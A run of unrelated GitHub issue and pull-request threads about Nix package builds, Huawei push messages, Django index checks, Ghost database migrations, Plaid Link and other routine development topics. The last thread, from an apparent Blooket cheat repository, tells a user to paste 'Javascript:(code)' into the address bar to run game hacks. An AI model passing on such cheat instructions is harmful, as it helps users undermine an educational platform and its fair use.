builder for '/nix/store/m1g04i49l52dh118fpnnzxw3aa10spbx-python3.6-pyls-black-0.2.1.drv' failed with exit code 1
error: build of '/nix/store/m1g04i49l52dh118fpnnzxw3aa10spbx-python3.6-pyls-black-0.2.1.drv' failed

Failure on x86_64-linux (full log)
Attempted: python36Packages.black, python36Packages.pyls-black
Partial log (click to expand)
            py36=config["py36"],
            pyi=config["pyi"],
>           skip_string_normalization=config["skip_string_normalization"],
        )
E       TypeError: from_configuration() missing 1 required keyword-only argument: 'skip_numeric_underscore_normalization'

/nix/store/i63m88jj88y00pz0gwmcl0ww9yi2as56-python3.6-pyls-black-0.2.1/lib/python3.6/site-packages/pyls_black/plugin.py:49: TypeError
====================== 9 failed, 2 passed in 0.47 seconds ======================
builder for '/nix/store/6cahzni790nnyn3z8jvbnqdgm5h8v0w1-python3.6-pyls-black-0.2.1.drv' failed with exit code 1
error: build of '/nix/store/6cahzni790nnyn3z8jvbnqdgm5h8v0w1-python3.6-pyls-black-0.2.1.drv' failed

Hmm, there is already a PR for pyls-black that fixes the issue. Is there an easy way to incorporate this PR (consisting of three commits apparently) into pyls-black?

See https://github.com/rupert/pyls-black/pull/6

You could fetchpatch the commits from the upstream PR author's fork. But I'm not sure it's worth the effort. I would just temporarily disable tests  with doCheck = false; with a comment pointing to the upstream PR and a reminder to remove this on the next version bump.

@xeji Okay, I did that. Seems to work.

@GrahamcOfBorg build python36Packages.black python36Packages.pyls-black

Failure on x86_64-darwin (full log)
Attempted: python36Packages.black, python36Packages.pyls-black
Partial log (click to expand)
E                  return True
E              last_call()
E              # standalone comment at ENDMARKER
E            : Expected diff isn't equal to the actual. If you made changes to expression.py and this is an anticipated difference, overwrite tests/expression.diff with /private/tmp/nix-build-python3.6-black-18.9b0.drv-0/blk_v2fryyev.log

tests/test_black.py:294: AssertionError
======== 1 failed, 73 passed, 12 skipped, 2 deselected in 12.76 seconds ========
builder for '/nix/store/vp45ifcz0gfb7mm2wfjcnaiajypk3kgv-python3.6-black-18.9b0.drv' failed with exit code 1
cannot build derivation '/nix/store/17505rzqc0bb82m6vl2gjcjpn3ch1z41-python3.6-pyls-black-0.2.1.drv': 1 dependencies couldn't be built
error: build of '/nix/store/17505rzqc0bb82m6vl2gjcjpn3ch1z41-python3.6-pyls-black-0.2.1.drv', '/nix/store/vp45ifcz0gfb7mm2wfjcnaiajypk3kgv-python3.6-black-18.9b0.drv' failed

Success on aarch64-linux (full log)
Attempted: python36Packages.black, python36Packages.pyls-black
Partial log (click to expand)
Successfully installed pyls-black-0.2.1
/build/source
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/vcxz79wm52w5yxibchsynbrjf7yx0840-python3.6-pyls-black-0.2.1
strip is /nix/store/428gs2z4b8f9byvghzlpbjwjb3a7jwxx-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/vcxz79wm52w5yxibchsynbrjf7yx0840-python3.6-pyls-black-0.2.1/lib
patching script interpreter paths in /nix/store/vcxz79wm52w5yxibchsynbrjf7yx0840-python3.6-pyls-black-0.2.1
checking for references to /build in /nix/store/vcxz79wm52w5yxibchsynbrjf7yx0840-python3.6-pyls-black-0.2.1...
/nix/store/nanx4wp3qm0sfjlcfcwblxk4qrsfrr30-python3.6-black-18.9b0
/nix/store/vcxz79wm52w5yxibchsynbrjf7yx0840-python3.6-pyls-black-0.2.1

Success on x86_64-linux (full log)
Attempted: python36Packages.black, python36Packages.pyls-black
Partial log (click to expand)
Successfully installed pyls-black-0.2.1
/build/source
post-installation fixup
shrinking RPATHs of ELF executables and libraries in /nix/store/njs2zklhybxp9z4xabg5y0f2vbj4nr8a-python3.6-pyls-black-0.2.1
strip is /nix/store/dxf1m7dhc4qb655bdljc1fsd74v1nag3-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/njs2zklhybxp9z4xabg5y0f2vbj4nr8a-python3.6-pyls-black-0.2.1/lib
patching script interpreter paths in /nix/store/njs2zklhybxp9z4xabg5y0f2vbj4nr8a-python3.6-pyls-black-0.2.1
checking for references to /build in /nix/store/njs2zklhybxp9z4xabg5y0f2vbj4nr8a-python3.6-pyls-black-0.2.1...
/nix/store/gvs0w0fsg4iiiv1l7cva30bf98ikvsan-python3.6-black-18.9b0
/nix/store/njs2zklhybxp9z4xabg5y0f2vbj4nr8a-python3.6-pyls-black-0.2.1

There still is a test failure for black on darwin, but that failure was there before this PR: https://hydra.nixos.org/job/nixpkgs/trunk/python36Packages.black.x86_64-darwin , so let's ignore it for now.


HMS Notification Message type

Hi,
is there a way to get (read) the title and body of the message if the type is Notification Message (not Data Message)?
https://developer.huawei.com/consumer/en/doc/development/HMS-Guides/push-introduction#h1-1576132561387

Hi janbolat
We support RemoteMessage.Notification.getTitle() methods to get the title of the Notification messages. You can find this information by me in detail.
I hope this helps.

@HMSPushKit @Mike-mei
I mean that if you send a message from web console as a Notification Message (not Data Message), onMessageReceived won't be called (triggered). I tried both cases foreground and background.

Sorry for that, we cannot get any notification information from the web console cause the notification is sent to Huawei Notification Center for Safety. But you can do this to get it.
Send data messages , make your app in foreground and set foreground_show to false. This can make data messages to notification messages. And try RemoteMessage.Notification.getTitle() to get information.
Look at this.

Thank you


code to plot the graph in the paper?

Is there a way you can give out the code to make the plots in the paper?

Here is an example of the plotting code: plot_periodic_main_neurips22.zip
The first part of the code needs to be changed to match with your directory and file names.

Here is an example of the plotting code: plot_periodic_main_neurips22.zip
The first part of the code needs to be changed to match with your directory and file names.

Thanks


BCMOHAD-21498 || Resolving merge conflicts

Description
Resolving merge conflicts between git branches (main and EDRD main)
Fixes # (issue)
Type of change

[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

List high-level changes as bullet items
Below are some examples

[ ] Changed field permissions
[ ] changed field data-type

Deployment Tracker
List all the metadata that is pushed in this commit/PR. Full URL should be fine.
Checklist:

[ ] My code follows the style guidelines of this project
[ ] I have performed a self-review of my own code
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] New and existing unit tests pass locally with my changes
[ ] Any dependent changes have been merged and published in downstream modules

Given the feedback from Deepak, PR needs to be updated so closing this PR


Clearing Tokens from Text Add Token by Input nodes

I have been using the Text add token by input node to add a project name to images generated in a workflow. I've got an odd bug where the tokens saved on past runs are overwriting new saves (even when the node has been removed from the workflow, and comfyui restarted).
Any recommendations on how to fix this? Is it possible to wipe the saved tokens somewhere? I removed them from the node settings file and they reappeared.

I don't understand your problem. The token system is persistent, so if you have something like portrait_prefix and it's value A 3d matte portrait of you could use that in any workflow requiring that prefix. It's not saved on a per-workflow basis.


LICENSE file check for bitbucket

In https://github.com/fair-software/howfairis/blob/6edfcc98ebe2520136ba55ef906217dc43d8cd19/howfairis/mixins/license_mixin.py#L19 the presence of a license is checked by calling the GitHub or GitLab API. Bitbucket does not seem to have an API endpoint for licenses.
We could check if a LICENSE file is present in the bitbucket repo.

If you're suggesting just checking if the file named LICENSE is present, I agree. Do we want to include any of these others?
filenames:

license
License
LICENSE
licence
Licence
LICENCE
copying
Copying
COPYING

extensions:

without extension
.txt
.md
.rst

That already equates to making 36 requests unless we can ask for the dir tree. We should probably determine our preferred order of checking these, and then return after you find the first match.
Sidenote: I'm disinclined to write or maintain code that looks at the content of these files. Besides the degrees of freedom in naming them, there are many licenses, and additionally there is a lot of wiggle room in each license file text, such as additions, typos, formatting differences etc. Covering all of these is a lot of work that I think we should not do. I know that tools exist that can determine the license of a repo (e.g. licensee), but these complicate things more than what I'd be willing to accept.

Yes, other namings of LICENSE would be nice.
I dont intend to look inside either, the FAIR recommendation just wants any license.
We can reduce the requests by getting a listing of the root of a repo.

the FAIR recommendation just wants any license.

But it recommends using one that existed already, not random text


chore: bump public bytecode size to 32000 in prep for AVM migration

Please read contributing guidelines and remove this line.

[!WARNING]
This pull request is not mergeable via GitHub because a downstack PR is open. Once all requirements are satisfied, merge this PR as a stack on Graphite.
Learn more

#6266  👈
#6264 : 1 other dependent PR (#6265 )
#6256
master

This stack of pull requests is managed by Graphite. Learn more about stacking.

Join @dbanks12 and the rest of your teammates on  Graphite

Docs Preview
Hey there! 👋 You can check your preview at https://663e8a97bcb7ce5336800d58--aztec-docs-dev.netlify.app


bugfix: consul not found tc cluster

Ⅰ. Describe what this PR did
Ⅱ. Does this pull request fix one issue?

fixes #3772
Ⅲ. Why don't you add test cases (unit test/integration test)?
Ⅳ. Describe how to verify it
Ⅴ. Special notes for reviews

Codecov Report

Merging #3773 (c9b3887) into develop (5d638ab) will decrease coverage by 0.09%.
The diff coverage is 0.00%.

@@              Coverage Diff              @@
##             develop    #3773      +/-   ##
=============================================
- Coverage      40.85%   40.76%   -0.10%
+ Complexity      2946     2945       -1
=============================================
  Files            663      663
  Lines          22260    22234      -26
  Branches        2755     2708      -47
=============================================
- Hits            9094     9063      -31
+ Misses         12324    12303      -21
- Partials         842      868      +26

Impacted Files
Coverage Δ

...ery/registry/consul/ConsulRegistryServiceImpl.java
1.76% <0.00%> (ø)

...obuf/convertor/BranchRegisterRequestConvertor.java
90.47% <0.00%> (-9.53%)
:arrow_down:

...otobuf/convertor/BranchReportRequestConvertor.java
90.90% <0.00%> (-9.10%)
:arrow_down:

...obuf/convertor/BranchRollbackRequestConvertor.java
92.00% <0.00%> (-8.00%)
:arrow_down:

...otobuf/convertor/GlobalBeginResponseConvertor.java
92.59% <0.00%> (-7.41%)
:arrow_down:

...n/src/main/java/io/seata/common/util/IdWorker.java
77.08% <0.00%> (-6.25%)
:arrow_down:

...otobuf/convertor/GlobalCommitRequestConvertor.java
93.75% <0.00%> (-6.25%)
:arrow_down:

...otobuf/convertor/GlobalStatusRequestConvertor.java
93.75% <0.00%> (-6.25%)
:arrow_down:

...obuf/convertor/GlobalRollbackRequestConvertor.java
93.75% <0.00%> (-6.25%)
:arrow_down:

...protobuf/convertor/RegisterTMRequestConvertor.java
94.73% <0.00%> (-5.27%)
:arrow_down:

... and 28 more


Add_RequestBuildingAccess_to_Default_View

Add_RequestBuildingAccess_to_Default_View
Hello everyone, I am having this problem when executing the first flow, it is in error in that step.

The site in sharepoint was not in English.


Hard code genesis script bytes instead of hex

Currently we have a dependency on hex_lit and it is used in exactly one place outside of test code, if we instead use a hardcoded array instead we can move the hex_lit dependency to be a dev-dependency only.
Hard code the genesis block script bytes as an array, add a unit test that parses the original hex so we know there were no mistakes.
Move the hex_lit dependency to the dev-dependencies of the manifest.

Done while investigating #1987

On ice until after next release.

Bump please.

In 8c47efde1218becd50c956e56666995b3461ee9c:
Please use hex literals (e.g. 0xab) rather than decimals, and line-break them every 8 or 16 bytes, whatever makes you happier. (You will need to rustfmt::ignore them because rustfmt likes to ruin manual formatting of byte arrays).

Sure thing, good idea.

I don't know why the bench job is not finding the hex_lit dev dependency, running RUSTFLAGS='--cfg=bench' cargo +nightly bench works locally for me.

EDIT: Its because cargo bench does not seem to work from workspace root. I'm increasingly becoming disheartened with workspaces, multiple cargo commands don't work as expected from the workspace root (well at least how I'd expect them).

Well, if we get rid of workspaces then no cargo commands will work at all from the workspace root :)
But agreed, its existing behavior is so inconsistent and surprising that maybe "doesn't work at all" would be better. (Though not actually, because this would mean maintaining way more lockfiles, changing our CI to cd into directories rather than using e.g. clippy --all-targets, changing my local CI to manually(?) extract source code from subdirectories and then try to patch it up so that the other crates were in the correct relative paths, etc etc etc).
BTW, 29d6f963a7d81338fa850aedea07520e009f70b7 also renames the bitcoin crate :). We should drop that change.

CI failure appears to be because we are trying to run cargo bench in the fuzz/ directory, and the fuzz crate depends on bitcoin.
I think this actually would apply to any downstream crates as well -- if they tried to run their own benchmarks using --cfg=bench they would not be abel to because `bitcoin``s benchmarks would not compile.

CI failure appears to be because we are trying to run cargo bench in the fuzz/ directory, and the fuzz crate depends on bitcoin.

Ah, thanks.

I think this actually would apply to any downstream crates as well -- if they tried to run their own benchmarks using --cfg=bench they would not be able to because `bitcoin``s benchmarks would not compile.

hmmm, so no usage of dev-dependencies in bench modules, that is an interesting twist. Will think further on it. Thanks man.

Yeah, an interesting twist. Lucky we bumped into it here!

Added an additional patch up front. No changes to the original patch (now patch 2).


change in recommended usage BlockingScheduler vs BackgroundScheduler

I use django_apscheduler 0.3.0 in my django project
i discover recently the release 0.4.2 and i notice the change recommended to launch the scheduler by management command
can you give more details about this change
do i need to follow this recommendation if i upgrade to 0.4.2 ?
what is the risk of keeping a background scheduler ?

All of the risks (that I am aware of) are listed in the caveats section of the readme.
It really depends on your specific use case and deployment - if your current approach is working for you then everything should continue to work just as well under 0.4.2.


orthologous operon search

Hi Ryan. Transferring our conversation here in case others had the same question.
To clarify my question. Say I want to visualize an operon, and to make up an example, let's say luxABC across all Pseudomonads species.
Here you describe how to do this with one gene, luxI. You say ### There should be only one sequence in the FASTA file., so what's the best approach if you'd like to do this for 3 genes (e.g. gplot.match_seqs("../src/luxABC.faa","../../data/Pseudo/")? I'm expecting these genes would be co-located in an operon architecture, but I can add checks for this later. I guess my question is, could you have 3 genes in your input.faa? If not, any workflow you could recommend within your PyParanoid tool? Currently what I'm guessing I should do is conduct each search separately, luxA, luxB, and luxC, and then combine results and visualize.
It would be cool if you could do something like this:
t = gplot.add_group_to_tree(c("group_22008","group_10893","group_16731"),"../src/BrassClade.tre","../../data/Pseudo")

Anyways, this is a really open-ended question. I mainly wanted to say this tool looks interesting and I'm excited to play around with it. Nice work!

Hi Bubba (I'm assuming Bubba is ok in this context since you're wearing the hot dog costume).
Great question - it's a really common analysis that I do really frequently. Short answer is that I use this standalone script to make a heatmap from a given tree and then smush that together with the tree in illustrator to make this figure
AHLsynthase_groups_MODIFIED.pdf
I'm planning on making that script into a method eventually in a future PyParanoid update for interactive use within the notebook for visualization.  And I need somebody who is better with matplotlib to figure out how to nicely plot a tree next to the heatmap in a script rather than manually....

Ah, I see. Unfortunately I'm more of a Rcoder, but this may be a fun project to help me grow my python chops. I'm going to ping some folks in the Banfield lab about PyParanoid, since I think many would put it to good use. Several python coders in the lab now too, so maybe they'll help do some developing. Thanks again!


grype: 0.68.1 -> 0.69.0

Diff: https://github.com/anchore/grype/compare/refs/tags/v0.68.1...v0.69.0
Changelog: https://github.com/anchore/grype/releases/tag/v0.69.0
Description of changes

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 256487 run on x86_64-linux 1

1 package built:

grype


Sequence senders

Hi,
this contains a possible design for sequence senders. I hope this is what you have envisioned @kirkshoop @lewissbaker
Basic ideas, how I understood them

sequence receivers Receiver specialize an additional set_next(Receiver& self, sender auto&& item) -> sender CPO
senders can specialize connect or sequence_connect
sender types that specialize sequence_connect are sequence senders
completion signatures of sequence senders describe the completions of the items passed to set_next

Included in this PR are

concepts: sequence_receiver_of, sequence_receiver_from, sequence_sender_to
few basic algorithms:
repeat(sender) -> sequence-sender
ignore_all(sequence-sender) -> sender_of<set_value_t()>
enumerate_each(sequence-sender) -> sequence-sender
transform_each(sequence-sender, (sender -> sender)) -> sequence-sender

let_[value,stopped,error]_each(seqeuence-sender) -> sequence-sender
then_each(sequence-sender) -> sequence-sender

zip(sequence-senders, ...) -> sequence-sender

Very pretty! Just a few minor comments. Also, I feel like we may want to move each algorithms into its own header. I'm currently on the fence if we want to put all the sequence algorithm headers in a exec/sequence/ subdirectory.

Yes, we can split that in multiple files. Most sequence sender adaptors should be cpos, too, right? I wonder if all adaptors that are a trivial transforms  (let, then, upon...) should be a in one file, but I don't really care. Algorithms such as zip are different beasts

/ok to test

/ok to test

/ok to test

/ok to test

/ok to test

/ok to test

/ok to test

/ok to test

/ok to test

/ok to test

/ok to test

I will split this PR in smaller parts.


fixes issue #86: Decorators drawn when offset larger than line length

I just noticed the issue which already has been posted as #86. Before finding the pull request #87, which fixes this issue, I already found a different solution, which is much simpler and even reduces code instead of extending it.

Hey managers of this repo. What's up?! Can we get this incorporated please? I would be happy to take over management of this repo if it is being left idle. Cheers.

I found @boldtrn's published version of his fork of @pelpe's repo and I have switched to that. But would be really nice to have everyone on the same page here.

bump. please merge :)

I would be very surprised if there will be any updates in this repository. Personally, I'm using my own repository for my projects: https://github.com/plepe/Leaflet.PolylineDecorator

@plepe Do you have a published version of yours. I am currently using @boldtrn's only because he has it published at "boldtrn-leaflet-polylinedecorator"

since this is abandoned, I propose that we come up with a new generic name to publish this under and start fresh?


Fe homework 17

Metric
Value

alert_status
:white_check_mark: OK

bugs
0

code_smells
0

reliability_rating
A (0 Bugs)Note: A being best, E being worst

security_rating
A (0 Vulnerabilities)Note: A being best, E being worst

vulnerabilities
0


things won't block

whenever I try to block something, it doesn't immediately block, and in the options it only show 0000-2359 and nothing else, not even the site blocked.

I had the same problem, and what I did was putting the link(www.example.com) on the line where it shows "www.facebook.com" as an example. It worked for me some days ago, but yesterday I had problems with that method too.

I have closed my duplicate bug report #70 but the issue remains.


Brand Directory

Can add Brand Directory above the footer and below the main content, where the most searched products on flipkart are listed.

Can add Brand Directory above the footer and below the main content, where the most searched products on flipkart are listed.

sure. you can. you have been assigned. Go ahead

contribute on this ..please assign me


test against postgres in CI

this should be as simple as switching database engines in local_settings.py, changing the CI provider to use a different database, and then seeing what breaks. as a bonus, we can use the branch to test locally whether problems like #216 are resolved.

Let's test on both postgres and mysql; we want to support both while we're in transition.


PR: Add "Usage" section to Readme

Also improve installation instructions a bit.
Fixes #40.

Thank you. @ccordoba12! I don't think the test is necessary in this PR, so I skipped it.


Add Contributor stats widget to Readme

Proposed Changes

Add Contributor Stats widget. The widget updates every day with relevant changes dynamically. The widget improves contributor visibility.
The Widget is hosted by Middleware for selected open source repositories.

Hey @henit-chobisa @Palanikannan1437  let me know if you guys like the widget or want any changes 🤖

Hey @samad-yar-khan, thank you so much for this 🧡!
Just wanted to understand a few things...

How does this work (the frequency of updates, the flow, etc)?
How many contributors would be shown?
Are there any customisable params?

Hey @Palanikannan1437

The update frequency is currently set to once every 24hrs.  We are looking forward top reducing this sync time if its required.
By Default it shows a max of 8 contributors as you can see over here for the one generated for EmbeddedChat

There are customizable params, that we use internally, the number of contributors, the svg theme etc, but they are not yet public. We also have made a maintainer Widget for repo. And have themes as you can see below.

@Palanikannan1437 updated, my comment, I think it was saved before I finished it. The usernames in the svg or hover state should reflect in the badge itself. Wanted to know what would you guys prefer to have -> usernames or hove states and how  strongly do we feel about adding this data. Thanks 💯


Get Iterations service and iteration data model added

Current coverage is 51.99% (diff: 86.66%)

No coverage report found for master at 3855e35.

Powered by Codecov. Last update 3855e35...e23ca4d

[test]

[test]


Validation error (required boolean property), but property is present

What version of Ajv are you using? Does the issue happen if you use the latest version?
ajv 6.11.0: Another JSON Schema Validator
JSON Schema
{
    "$schema": "http://json-schema.org/draft-07/schema#",
    "type": "object",
    "properties": {
        "version": {
            "type": "integer",
            "description": "the version of this schema",
			"enum": [
                1
            ]
        },
        "status": {
            "type": "string",
            "description": "the status (running, not running or undefined=no configuration present) of the backup",
            "enum": [
                "running",
                "notRunning",
                "undefined"
            ]
        },
        "message": {
            "type": "string",
            "description": "the message (ok msg, nok msg, last backup msg, ...)"
        },
        "dbSnapshotExists": {
            "type": "boolean",
            "description": "true, if a db snapshot exists which is not older then 72 h"
        }
    },
    "required": [
        "version",
        "status",
        "dbSnaphotExists"
    ]
}

Sample data
{
  "version": 1,
  "status": "undefined",
  "message": "",
  "dbSnapshotExists": true
}

Validation result, data AFTER validation, error messages
[
  {
    "keyword": "required",
    "dataPath": "",
    "schemaPath": "#/required",
    "params": {
      "missingProperty": "dbSnaphotExists"
    },
    "message": "should have required property 'dbSnaphotExists'"
  }
]

What results did you expect?
The required field is present, the json should be valid.
Are you going to resolve the issue?
No.

Could you please submit the full code sample, as per template? Ideally to runkit.com
It is difficult to investigate without it, the root cause is most likely in the code.

https://codepen.io/FabianHassert/pen/rNVPXNB?editors=1111

The problem was the schema, sry.
dbSnaphotExists <-> dbSnapshotExists


landing-page copy edits

NOTE: the "main site" link pointed reflexively to this page, so I've removed it to avoid confusion. It looks like this link was already addressed once in #1897 - feel free to point me at a different URL if you'd like the link replaced instead.

Codecov Report

Merging #2699 into dev will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##              dev    #2699   +/-   ##
=======================================
  Coverage   94.34%   94.34%
=======================================
  Files         166      166
  Lines       19788    19788
=======================================
  Hits        18668    18668
  Misses       1120     1120

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 06e6d9e...0c0b40b. Read the comment docs.

Thanks for your contribution!!!

Thanks for your contribution!!!


Expose digitised audio in search

Who it's for
Problem to be solved
User Story/Job

In order to
(why? accomplish a goal/get a benefit)
As a
(who? user/persona)
I need/want/expect
(what? to do this thing)
Acceptance Criteria

[ ] The interface should do this thing
[ ] and this thing
[ ] and this thing.

Redundant


Fixed #28714 -- Add system checks for invalid model field names in Indexes

https://code.djangoproject.com/ticket/28714
When using makemigration with indexes on class Meta in the Model Django don't check whether the field name in fields parameter exists on Model. It will raise FieldDoesNotExist when run migrate.
I added a system check to make sure the model field name in indexes must be a valid field.

Thanks adamchainz, all work done!

I have updated the code, really thanks adamchainz!

All work done, thanks adamchainz :)

The code that is there looks good. There is one thing missing IMO -- for indexes, it is not enough that the fields exist, they need to be local. See _check_unique_together() and the way it invokes _check_local_fields() near the end, for an example. This, of course, also means there's some tests that should be added.

Work done, Thanks shaib.

Done, thanks adamchainz!


Update Plaid Link for web / Fix logic breaking Plaid flow on web

cc @aldo-expensify this should fix the bug you ran into on main
Details
We discovered while testing Plaid Link on the web side that the flow is broken after the changes here. Taking this opportunity to fix and update Plaid.
Fixed Issues (Comment)
$ https://github.com/Expensify/App/issues/4785#issuecomment-911996962
Tests AND QA Steps

Start with a non-public domain account that has not yet set up a workspace or bank account
Create a new workspace by tapping on the green FAB button
Navigate to /bank-account by selecting the workspace and tapping the "Get Started" button
Tap button to add account via Plaid (Note: This step may take time to complete)
Enter test credentials user_good pass_good
Press "Continue"
Verify that the account selection dropdown appears

Tested On

[x] Web
[ ] Mobile Web
[ ] Desktop
[x] iOS
[x] Android

Screenshots
Web

Mobile Web
Skip because they use the same code as web + there is no UI change.
Desktop
Skip because they use the same code as web + there is no UI change.
iOS

Android

:hand: This PR was not deployed to staging yet because QA is ongoing. It will be automatically deployed to staging after the next production release.

🚀 Deployed to staging by @marcaaron in version: 1.0.92-1 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
failure ❌

🕸 web 🕸
success ✅

@marcaaron Hello! Can we test this by navigating to /Bank-account/new? We currently don't have a domain that meets these requirements Start with a non-public domain account that has not yet set up a workspace or bank account

I think this requirement can be worked around by using a deep link (sent via gmail) and then opening in New Expensify app.
https://staging.new.expensify.com/bank-account
If it doesn't work let us know and we'll find another way to test

@marcaaron It worked on Android but not on iOS. On iOS it opens mWeb directly

I'll look into that. I think I know why.

This issue is failing this PR https://github.com/Expensify/App/issues/5075

I'll look into that. I think I know why.

Let me know if I should open a separate issue for this.

Can you try new-expensify://bank-account to see if that will open the deep link?

Can you try new-expensify://bank-account to see if that will open the deep link?

This worked but this issue was also reproducible there https://github.com/Expensify/App/issues/5075

Ok cool thanks! Glad the deep link worked. I'm unsure what could be causing this issue, but asking for help now and re-testing on dev to make sure things still work locally.

🚀 Deployed to production by @roryabraham in version: 1.0.93-1 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅


[CodeClean] fix typo

Code clean, fix typo in edge header.

:memo: TAOS-CI Version: 1.5.20200925. Thank you for submitting PR #172. Please a submit 1commit/1PR (one commit per one PR) policy to get comments quickly from reviewers. Your PR must pass all verificiation processes of cibot before starting a review process from reviewers. If you are new member to join this project, please read manuals in documentation folder and wiki page. In order to monitor a progress status of your PR in more detail, visit http://ci.nnstreamer.ai/.


Add custom exceptions

Now the code doesn't throw a generic Exception anymore (bad practice)
Add two custom exceptions: for filesystem related issues, and for
invalid token.
Also update the composer.lock and composer dependencies
Right now all exceptions are handled the same way, but this change at
least allows to handle them differently in the future.
You might think: but what could be the use of having different exceptions? Example: the invalid token exception might be logged as it might be a hacking attempt. As for the FilesystemError, maybe we just want to show the user a generic error message ("Something went wrong!"), but log a complete and more verbose error so the admin can see what went wrong. This prevent accidentally disclosing info to the attacker.

It's great to have Scrutinizer checking the code on the PR now :)
One other thing that might be interesting to have on the repo is this: https://cla-assistant.io/
It allows contributors to sign a waiver, so you can free yourself from the implications of having code from others in the repo. See example: https://cla-assistant.io/elabftw/elabftw?pullRequest=1085
It's a bunch of legal mumbo jumbo but it's good to have. Also, a bot will take care of asking users to sign it so it's minimal work once it's setup.

This is very neat and nice explanation.

I'll check the cla assistant tomorrow. Thanks!
Is there any way I can tell scrutinizer that this project is open source, or do they automagically know?

They know.

They know

Que Xfiles music. :)
Cla assistant merged into this repo, thanks for the recommendation.


[Discussion] Use knex.migrations & knex.seed instead of our migration system?

When Ghost first started out, bookshelf/knex had no solution for migrating the database through versions, so we built our own.
There are some really nice things about our migration system, in fact someone proposed knex steal it.
Ghost Migrations
Our migrations work by us modifying the schema.js file, and updating the databaseVersion number in default-settings.json. When Ghost starts, it checks the number in default-settings.json against the local database version, and if number in Ghost is higher it knows it needs to perform some migrations.
It then runs a comparison between the local database and schema.js, figures out what has changed, and generates the alter table and alter column statements to update the database. That means that when we release a new version of Ghost, if the database version number changes, then when a user upgrades the migrations will automatically run.
Sometimes if you're on master (especially if you're a developer) you can get stuck because the database version number changes in one commit, and one of the schema.js updates doesn't happen until a later commit. The workaround for this is to start Ghost with a FORCE_MIGRATION=true env var. This forces Ghost to compare the local database with schema.js and then generate and run any migrations that are required.
It all works pretty neatly, and the REALLY nice thing about it is that it is all based on a big JSON object that describes the database, which is useful for other aspects of models and validations.
The Downside(s)...
There are a few downsides to our migration system. One big one is having to maintain it - knex doesn't yet fully support all the possible alter operations that you might want to do on a database, so as it adds more options, we need to add them to the possible statements that can be generated by our system.
More importantly, Ghost's migration system focuses 100% on the database structure, and has no provision for modifying the data in the database. In systems like ActiveRecord, migrations often contain data modifications as well, useful for doing things like changing default values.
Ghost has a fixtures system which is totally separate, and is little more than some hard-coded functions which detect if migrations are going through a database version and therefore need to adjust some data. Deep within this, are the permissions fixtures, which are woefully lacking in any sort of migration capability and this is holding us up from adding new permissions.
Meanwhile, Knex has added its own migration system based on ActiveRecord and more recently added the concept of seed files.
So the big question: is the system in Knex now more sophisticated than ours, will it solve our fixtures problems, as well as other migration issues and should we switch?

Closing as this got no traction - we can revisit changing the migration system when we need to for some reason.


POL-650 Add orgId to PoliciesAction

@josejulio not sure if I understand how that Event thing here works in detail, but it looks like someone can set the tenantId which could either be an accoundId or even an orgId. Is that correct?

I guess so, the tenantId comes from the hawkular world, It's stored in the infinispan IIRC, but with @gwenneg effort to simplify it, we will load it from the policy table. I guess we could use the tenantId as both, and decide what to use at loading time: https://github.com/RedHatInsights/policies-engine/pull/375/files#diff-c051bda5c3e1d666beabac8adce5724658594379c6643f39fe8caafd55516d80R27

@gwenneg why do we have an Entity "policy" but no table for it?

The table is specified in the policies-ui-backend

aaah- I didn't think about that we could have a shared database. Thanks

I think there is one bug in TriggerLoader around line 71. Other comments are more cosmetics from my PoV

good catch. Thanks. Changed now.

Uh no :-D I spent one day of merging already.

Don't worry, I'll take care of it 😃

⚠🚧⚠ Rebasing in progress, please do not push any new commit ⚠🚧⚠

Rebase done. However, after a quick review I think there are a few things that are missing or need to be changed.
Here's how I think the orgId migration should impact policies-engine:
This diagram assumes that the orgId will come from the inventory Kafka message. Is that a correct assumption? If so, the orgId should be passed between policies-engine classes using a new Event field.
From a DB perspective, I think we should not change the existing account_latest_update table but rather create another similar org_latest_update table. The former will be dropped when the migration is over.

I changed it to a separate table.

@gwenneg it's getting a bit confusing with the threads. I would say I fixed every requested change

PoliciesHistoryEntry and PoliciesHistoryRepository will need the orgId as well.

Added every change you requested, @gwenneg

That should be it. Hopefully. @gwenneg

LGTM

YAY :)


i need help

how do you get the code or the bookmark

so click on gamemode then click the hack you want to use, click the little button next to code that 2 sqaures overlapping eachother

noice

how do you open it after that

thanks
On Mon, Apr 11, 2022 at 6:27 PM Hankypoo7 @.***> wrote:

go to the blooket gamemode that you want to hack in, type
this,"Javascript:(pasted code)"
It should look like this
[image: Screenshot 2022-04-11 8 26 44 PM]
https://user-images.githubusercontent.com/100436822/162860188-96398105-f065-4b10-a4db-d7b545e2f56f.png
then just click enter
hope this helped :)
—
Reply to this email directly, view it on GitHub
https://github.com/lol-jude/Blooket-Hacks/issues/42#issuecomment-1095777813,
or unsubscribe
